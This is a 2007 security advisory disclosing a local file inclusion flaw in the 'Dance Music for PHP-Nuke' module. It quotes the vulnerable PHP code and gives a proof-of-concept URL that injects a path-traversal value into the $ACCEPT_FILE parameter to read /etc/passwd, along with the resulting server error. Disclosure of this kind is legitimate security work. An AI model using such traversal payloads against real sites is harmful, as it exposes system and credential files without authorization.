Author: Janek Vind "waraxe"
Date: 25. September 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-54.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.bestdownload.biz/modules.php?name=Downloads&d_op=viewdownloaddetails
&lid=251&title=Dance%20Music%20for%20PHP-Nuke

Dance Music for PHP-Nuke
by MultiMedia http://www.multimedia.com.ro
and Nicolae Sfetcu http://www.sfetcu.com


Vulnerabilities: Local File Inclusion in "index.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's take a peek at source code of "index.php":

------------>[source code]<------------

include("header.php");
...
$ACCEPT_FILE['Acid_house.html'] = 'Acid_house.html';
$ACCEPT_FILE['Alternative_dance.html'] = 'Alternative_dance.html';
$ACCEPT_FILE['Ambient_house.html'] = 'Ambient_house.html';
...
$page = $_GET['page'];
...
$pagename = $ACCEPT_FILE[$page];
if (!isSet($pagename)) $pagename = "index.html";
include("modules/Dance_Music-MM/$pagename");

------------>[/source code]<-----------

As we can see, "$ACCEPT_FILE" array is uninitialized, so we can insert there
arbitrary values from $_GET/$_POST/$_COOKIES parameters, if "register_globals"
is active.

Proof-of-concept test:

http://victim.com/modules.php?name=Dance_Music-MM&page=1
&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd

Warning: main() [function.main]: open_basedir restriction in effect.
File(./modules/Dance_Music-MM/../../../../../../../../../../../../etc/passwd
) is not within the allowed path(s): (/home/www/web32/)
in /home/www/web32/html/portal/modules/Dance_Music-MM/index.php on line 154

So local file inclusion exists, but safe mode can make exploiting harder.


//-----> See ya soon and have a nice day ;) <-----//


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna.
Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2007-09-25 (15100 reads)